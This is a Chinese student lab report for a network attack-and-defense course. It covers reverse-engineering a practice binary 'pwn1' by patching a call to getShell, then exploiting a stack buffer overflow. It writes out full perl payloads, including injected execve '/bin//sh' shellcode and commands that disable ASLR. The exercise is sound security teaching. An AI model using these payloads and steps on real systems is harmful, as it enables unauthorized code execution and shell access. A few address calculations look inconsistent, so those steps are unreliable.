2019-2020-2 网络对抗技术 20175236 Exp1 PC平台逆向破解

2023-12-05 23:33:58

逆向及Bof基础实践说明

实践目标
本次实践的对象是一个名为pwn1的linux可执行文件。

该程序正常执行流程是：main调用foo函数,foo函数会简单回显任何用户输入的字符串。

该程序同时包含另一个代码片段，getShell，会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段，然后学习如何注入运行任何Shellcode。

三个实践内容如下：

手工修改可执行文件，改变程序执行流程，直接跳转到getShell函数。

利用foo函数的Bof漏洞，构造一个攻击输入字符串，覆盖返回地址，触发getShell函数。

注入一个自己制作的shellcode并运行这段shellcode。

这几种思路，基本代表现实情况中的攻击目标:

运行原本不可访问的代码片段

强行修改程序执行流

以及注入运行任意代码。

基础知识

NOP：NOP指令即“空指令”。执行到NOP指令时，CPU什么也不做，仅仅当做一个指令执行过去并继续执行NOP后面的一条指令。（机器码：90）
JNE：条件转移指令，如果不相等则跳转。（机器码：75）
JE：条件转移指令，如果相等则跳转。（机器码：74）
JMP：无条件转移指令。段内直接短转Jmp short（机器码：EB）段内直接近转移Jmp near（机器码：E9）段内间接转移 Jmp word（机器码：FF）段间直接(远)转移Jmp far（机器码：EA）
CMP：比较指令，功能相当于减法指令，只是对操作数之间运算比较，不保存结果。cmp指令执行后，将对标志寄存器产生影响。其他相关指令通过识别这些被影响的标志寄存器位来得知比较结果
objdump -d：从objfile中反汇编那些特定指令机器码的section。
perl -e：后面紧跟单引号括起来的字符串，表示在命令行要执行的命令。
ps -ef：显示所有进程，并显示每个进程的UID,PPIP,C与STIME栏位。
|：管道，将前者的输出作为后者的输入。
>：输入输出重定向符，将前者输出的内容输入到后者中。

vim16进制显示切换：

将显示模式切换为16进制模式：%!xxd

将16进制切换回ASCII码模式:%!xxd -r

任务

1.实验内容

1.1直接修改程序机器指令，改变程序执行流程
1.2通过构造输入参数，造成BOF攻击，改变程序执行流
1.3注入Shellcode并执行

2.需要描述的内容

2.1掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码
2.2掌握反汇编与十六进制编程器
2.3能正确修改机器指令改变程序执行流程
2.4能正确构造payload进行bof攻击

3.用自己的话回答以下问题：

3.1实验收获与感想
3.2什么是漏洞？漏洞有什么危害？

1.1直接修改程序机器指令，改变程序执行流程

知识要求：Call指令，EIP寄存器，指令跳转的偏移计算，补码，反汇编指令objdump，十六进制编辑工具
学习目标：理解可执行文件与机器指令
进阶：掌握ELF文件格式，掌握动态技术

使用objdump -d pwn1 | more将pwn1反汇编，得到以下代码

输入/getShell快速锁定到对应函数

在more处长按enter键下拉后可以看出80484b5: e8 d7 ff ff ff call 8048491 <foo>这条汇编指令，在main函数中调用位于地址8048491处的foo函数
e8表示“call”，即跳转。
getShell函数的起始地址：804847d
执行跳转指令时EIP寄存器中的值：80484ba
求差得FFFF FFC3，所以call指令对应的机器指令应改为e8 c3 ff ff ff

修改具体如下：

vi pwn2进入命令模式
输入:%!xxd将显示模式切换为十六进制
/e8 d7查找要修改的内容
进入插入模式，修改d7为c3

输入:%!xxd -r显示为ASCII码

使用:wq！保存并退出
反汇编查看修改后的代码，发现call指令正确调用getShell：

1.2通过构造输入参数，造成BOF攻击，改变程序执行流

通过构造输入参数，造成BOF攻击，改变程序执行流

知识要求：堆栈结构，返回地址学习目标：理解攻击缓冲区的结果，掌握返回地址的获取进阶：掌握ELF文件格式，掌握动态技术

objdump -d pwn1 | more命令反汇编

该可执行文件正常运行是调用函数foo，这个函数有Buffer overflow漏洞。
由上图，读入字符串时，系统只预留了28字节(-0x1c)的缓冲区，超出部分会造成溢出，我们的目标是覆盖返回地址。
上面的call调用foo,同时在堆栈上压上返回地址值:80484ba

尝试发现，当输入为以下字符时已经发生段错误，产生溢出，我们使用gdb进行调试：

由此可得eip的值为ASCII的5，即输入字符串的“5”的部分发生溢出，尝试将5的部分换成12345678进一步确认：

由此 1234 那四个数覆盖堆栈上的返回地址，进而CPU会尝试运行这个位置的代码。那只要把这四个字符替换为 getShell 的内存地址，输给pwn1，pwn1就会运行getShell。

反汇编查看getshell的内存地址：

由此可知应输入

11111111222222223333333344444444\x7d\x84\x04\x08

使用perl命令构造文件

perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input

使用十六进制查看指令xxd查看input文件。\0a表示换行
查看结果
```
(cat input; cat ) | ./pwn1
```

1.3注入Shellcode并执行

Shellcode就是一段机器指令（code）

通常这段机器指令的目的是为获取一个交互式的shell（像linux的shell或类似windows下的cmd.exe），所以这段机器指令被称为shellcode。

在实际的应用中，凡是用来注入的机器指令段都通称为shellcode，像添加一个用户、运行一条指令。

首先使用apt-get install execstack安装execstack

修改设置，输入

execstack -q pwn1 //查询文件的堆栈是否可执行

more /proc/sys/kernel/randomize_va_space

然后sudo -s进入root权限

echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化

more /proc/sys/kernel/randomize_va_space

构造要注入的payload：

perl -e 'print "\x4\x3\x2\x1\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00"' > input_shellcode

上面最后的\x4\x3\x2\x1将覆盖到堆栈上的返回地址的位置。我们得把它改为这段shellcode的地址。
注意：最后一个字符不能是\x0a

确定\x4\x3\x2\x1到底该填什么：

在第一个终端用(cat input_shellcode;cat) | ./pwn1注入攻击，回车后保持这个终端不动，打开另一个终端
另一个终端
- ps -df |grep pwn1查看其进程号为3706

gdb调试进程
- 启动gdb，调试此进程
  
  attach 3706（进程号）
  
  通过disassemble foo来查看注入buf的内存地址
  
  使用break *0x080484ae设置断点，在此终端输入c，在另一终端输入回车，使其继续执行。
  
  再返回调试终端，使用info r esp查找地址。
  使用x/16x 0xffffd1fc查看其存放内容，看到了9080cd0b，就是返回地址的位置。
  
  shellcode地址：0xffffd2ec+0x00000004=0xffffd200

回到第一个终端

输入命令

perl -e 'print "A" x 32;print "\x00\xd2\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode

再用(cat input_shellcode;cat) | ./pwn1查看结果

2.1掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码

（参考https://blog.csdn.net/liqiang981/article/details/51895009）
NOP：0x90
JNE：0x75
JE：0x74
JMP：
段内短跳转Jump Short：0xEB
段内近跳转Jump Near ：0xE9
段间远转移Jmp Far ：0xEA
段内间接跳转Jmp Word：0xFF
CMP：0x39

2.2掌握反汇编与十六进制编程器

反汇编指令为objdump -d <文件名>
十六进制指令为`perl -e 'print "字符/字符串"' > <文件名>

2.3能正确修改机器指令改变程序执行流程&2.4能正确构造payload进行bof攻击

见1.1&1.3

3.1实验收获与感想

本次实验让我复习了Linux的部分指令、汇编的部分知识、gdb调试、vi的使用、反汇编与十六进制编辑，学习了BOF的原理和防御等知识。

这次实验让我深刻感受到BOF漏洞带来的危害，更重要的是，让我意识到漏洞往往是在不经意间产生，而又很容易被有心之人利用。希望未来在网络攻防技术这门课中学到更多的攻击技术，在攻击中让我们学会更好地防御漏洞。

在这次实验中，复习了Linux的部分指令、汇编的部分知识、gdb调试、vi的使用、反汇编与十六进制编辑，学习了BOF的原理和防御等知识。

比如熟悉了NOP, JNE, JE, JMP, CMP汇编指令的机器码

汇编指令	机器码
NOP	90
JNE	75
JE	74
JMP	eb
CMP	39

当然这次实验过程中也遇到了一些问题，如下所示：

问题1：/e8 d7找不到

问题1解决方案：权限不够，需要赋予root权限
问题2：无法定位软件包

问题2解决方案：

在etc/apt 的sources.list 添加镜像源

deb http://http.kali.org/kali kali-rolling main non-free contrib 或

deb http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib

然后sudo apt-get update即可

总而言之，这次实验虽然是个简单的训练，但是却让我深刻感受到BOF漏洞带来的危害，更重要的是，让我意识到漏洞往往是在不经意间产生，而又很容易被有心之人利用。希望未来在网络攻防技术这门课中学到更多的攻击技术，在攻击中让我们学会更好地防御漏洞。

3.2什么是漏洞？漏洞有什么危害？

我认为漏洞就是正常功能的硬件、软件或者策略中的缺陷。漏洞可能会被不怀好意的人利用而用于破坏计算机安全，或达到其他对程序设计者和正常使用者不利的目的。

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